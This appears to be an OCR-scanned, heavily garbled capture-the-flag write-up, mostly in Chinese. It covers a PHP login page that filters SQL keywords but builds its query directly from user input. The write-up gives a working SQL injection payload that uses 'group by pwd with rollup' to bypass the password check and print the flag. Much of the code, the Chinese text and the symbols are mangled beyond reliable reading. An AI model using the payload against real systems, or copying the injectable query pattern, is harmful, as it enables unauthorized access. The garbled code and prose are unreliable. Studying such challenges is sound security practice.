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RIVEREHBERD, FHEMA LS50 . |

1 <"php
2 error_reporting (0} ;
4 if (lizset(§_POST[ unams’ ]} || 'izzet (§_POST[ pwd 1)) |
A echo " <form action="" method="post”>"."<br/>";
] echo " <input name="uname” type="text”/> . <br/>";
Fi echo " <{input name="pwd’ type="text’S>"."<br/>";
] echo " <input type="submit” /7. "<brSRT
9 echo " </form>»". "<br/>";

10 echo " <{!——zource: =ource.txzt—>". "<brf":

11 die;

12| }

13

14 function AttackFilter ($StrEev, $StrValue, $arrReq) |

15 if (iz_array(§StrValuel) {

16 $5trValue=implaode ($5trValue) ;

17 I

18 if (preg_match("/". $irrReq. "/is", $5trValuei==1){ ,

19 print “KEIEA . JFRIEHR! 7,

20 exit () ;

21 }

22|}

23

24 $filter = “and|szelect|from|where|union|join|=zleep |benchmark]|, [4%0]4%)";
25 foreach($ _POST as Jkev=rfwalue) |

26 LttackFilter ($key, $value, $filter)

27|}

20 $oon = mysql_connect (HO000CY, 00000, 00T
if (! $con) {
die({ Could not comnect: © . mysql_error{));

[ == N

I

3 fdb=" MK

my=ql_select_db($db, $con):

$=5q1="5ELECT * FREOM interest WHEEE uname = " {§_POST[ umame™]}7";
fquery = mysql_guervi$sql);
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7 if (mysql num rows (fguery) == 1) [-fmmm——

8 fkev = my=ql_fetch_array($query) ;

a9 if ($key[Ppwd ] == § POST[ pwd 1) | ffsm

40 print “CTF {OHHHK} .

41 telsel

42 print “IREIEEM! 7

3 }

44| telsed Hast = IR . i
: orint " EE! " Zert =R, print the
46 | } flag

U7 myzql_close (foon) ;

48| v
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5 2 R BRI A BE PR B BB AR — AT, FEW RS — B AR ROE L T AT LA A limit B3R [B1 SR A 8 5048 e b B3R TUAT 3
o
BB BB 5 ]2 select * from interest where uname = {$_POST[unamey 411

offset
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BTREMESEE=F, XERNANE, REtrue il bhid, T2 LR A group by with rollupk%eid, group by with rollup
SEATRENFE—FnUER, REEpWIEARSHE, ifghAtrueT .

payload: 1' or 1 group by pwd with rollup limit 1 offset 2#

{with_rollup_interesting}
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